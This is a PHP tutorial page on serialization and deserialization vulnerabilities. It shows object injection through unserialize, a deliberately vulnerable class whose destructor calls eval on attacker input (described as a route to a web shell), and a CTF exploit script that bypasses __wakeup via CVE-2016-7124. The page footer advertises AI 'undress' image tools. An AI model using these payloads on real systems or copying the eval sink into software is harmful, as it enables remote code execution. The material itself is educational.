search
HomeBackend DevelopmentPHP TutorialDetailed explanation of php deserialization
Detailed explanation of php deserializationJul 11, 2020 pm 05:49 PM
phpDeserialization

Detailed explanation of php deserialization

1 Preface

Recently I have been reviewing the content I have learned before, and I feel that I have an understanding of PHP deserialization It’s more in-depth, so I’ll summarize it here

2 serialize() function

“All values ​​in php can use the function serialize() to return a word containing Represented by a throttling string. Serializing an object will save all the variables of the object, but will not save the object's methods, only the name of the class."

This concept may be a little confusing at first. , but then I gradually understood

When the program execution ends, the memory data will be destroyed immediately. The data stored in the variables is the memory data, and the files and databases are "persistent data", so the PHP sequence Storage is the process of "saving" variable data in memory to persistent data in a file.

Related learning recommendations: PHP programming from entry to proficiency

 $s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

Let’s learn about serialization through a specific example:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39;is&#39;.$this->age.&#39;years old. <br />&#39;;
  }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = &#39;daye&#39;;

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

This is the result:

You can see that after serializing an object, all the variables of the object will be saved, and it is found that the serialized result has a character , these characters are abbreviations of the following letters.

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

After understanding the type letters of the abbreviation, you can get the PHP serialization format

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

Through the above example, you can understand the concept of returning a byte stream through the serialize() function The string of this paragraph.

3 unserialize() function

unserialize() operate on a single serialized variable and convert it back PHP value. Before deserializing an object, the object's class must be defined before deserializing.

To put it simply, it is the process of restoring the serialized data stored in the file to the variable representation of the program code, and restoring the results before the variable serialization.

 $s = file_get_contents(‘./目标文本文件&#39;); //取得文本文件的内容(之前序列化过的字符串)
 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

Learn about deserialization through an example:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39; is &#39;.$this->age.&#39; years old. <br />&#39;;
  }
}
//重建对象
$user = unserialize(&#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}&#39;);

$user->PrintData();

?>

This is the result:

##Note: Before deserializing an object, the object's class must be defined before deserializing. Otherwise, an error will be reported

4 PHP deserialization vulnerability

Before learning the vulnerability, let’s first understand the PHP magic function, which will help with the next study It will be helpful

PHP reserves all class methods starting with __ (two underscores) as magic methods

__construct  当一个对象创建时被调用,
__destruct  当一个对象销毁时被调用,
__toString  当一个对象被当作一个字符串被调用。
__wakeup()  使用unserialize时触发
__sleep()  使用serialize时触发
__destruct()  对象被销毁时触发
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  用于从不可访问的属性读取数据
__set()  用于将数据写入不可访问的属性
__isset()  在不可访问的属性上调用isset()或empty()触发
__unset()   在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()  当脚本尝试将对象调用为函数时触发

Only a part of the magic functions are listed here,

Let’s use an example to understand the process of automatic calling of the magic function

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array(&#39;varr1&#39;,&#39;varr2&#39;);
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();  //调用echoP()方法,输出"abc"
echo $obj;  //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

This is the result:

You can see it clearly through this example The magic function will be called when the corresponding conditions are met.

5 Object injection

A vulnerability will occur when the user's request is not properly filtered before being passed to the deserialization function unserialize(). Because PHP allows object serialization, an attacker could submit a specific serialized string to a vulnerable unserialize function, ultimately leading to the injection of an arbitrary PHP object within the scope of the application.

Object vulnerabilities must meet two prerequisites:

1. The parameters of unserialize are controllable.

2. A class containing a magic method is defined in the code, and there are some functions with security issues that use class member variables as parameters in the method.

Let’s give an example:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

For example, in this example, the user-generated content is directly passed to the unserialize() function, then you can construct such a statement

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

and run it in the script After the end, the _destruct function will be called, and the test variable will be overwritten to output lemon.

#If you find this vulnerability, you can use this vulnerability to control the input variables and splice them into a serialized object.

Look at another example:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

In fact, if you look closely, you will find that we actually construct the serialized object manually so that the unserialize() function can trigger the __destruc() function, and then execute it in_ Malicious statements in the _destruc() function.

So we can use this vulnerability to obtain the web shell

6 Bypass the deserialization of the magic function

wakeup() magic function bypass

PHP5<5.6.25
PHP7<7.0.10

PHP deserialization vulnerability CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

    (1)绕过正则表达式对变量的检查
    (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?php
class Demo {
  private $file = &#39;Gu3ss_m3_h2h2.php&#39;;

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != &#39;Gu3ss_m3_h2h2.php&#39;) {
      //the secret is in the f15g_1s_here.php
      $this->file = &#39;Gu3ss_m3_h2h2.php&#39;;
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo(&#39;f15g_1s_here.php&#39;);
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace(&#39;O:4:&#39;,&#39;O:+4:&#39;,$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(&#39;:1:&#39;,&#39;:2:&#39;,$a);
#再进行base64编码
echo base64_encode($a);
?>

The above is the detailed content of Detailed explanation of php deserialization. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:jb51. If there is any infringement, please contact admin@php.cn delete
php怎么把负数转为正整数php怎么把负数转为正整数Apr 19, 2022 pm 08:59 PM

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

php怎么实现几秒后执行一个函数php怎么实现几秒后执行一个函数Apr 24, 2022 pm 01:12 PM

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php字符串有没有下标php字符串有没有下标Apr 24, 2022 am 11:49 AM

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

php怎么除以100保留两位小数php怎么除以100保留两位小数Apr 22, 2022 pm 06:23 PM

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

php怎么根据年月日判断是一年的第几天php怎么根据年月日判断是一年的第几天Apr 22, 2022 pm 05:02 PM

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

php怎么读取字符串后几个字符php怎么读取字符串后几个字符Apr 22, 2022 pm 08:31 PM

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。

php怎么替换nbsp空格符php怎么替换nbsp空格符Apr 24, 2022 pm 02:55 PM

方法:1、用“str_replace("&nbsp;","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\&nbsp\;||\xc2\xa0)/","其他字符",$str)”语句。

php怎么查找字符串是第几位php怎么查找字符串是第几位Apr 22, 2022 pm 06:48 PM

查找方法:1、用strpos(),语法“strpos("字符串值","查找子串")+1”;2、用stripos(),语法“strpos("字符串值","查找子串")+1”。因为字符串是从0开始计数的,因此两个函数获取的位置需要进行加1处理。

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
3 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

WebStorm Mac version

WebStorm Mac version

Useful JavaScript development tools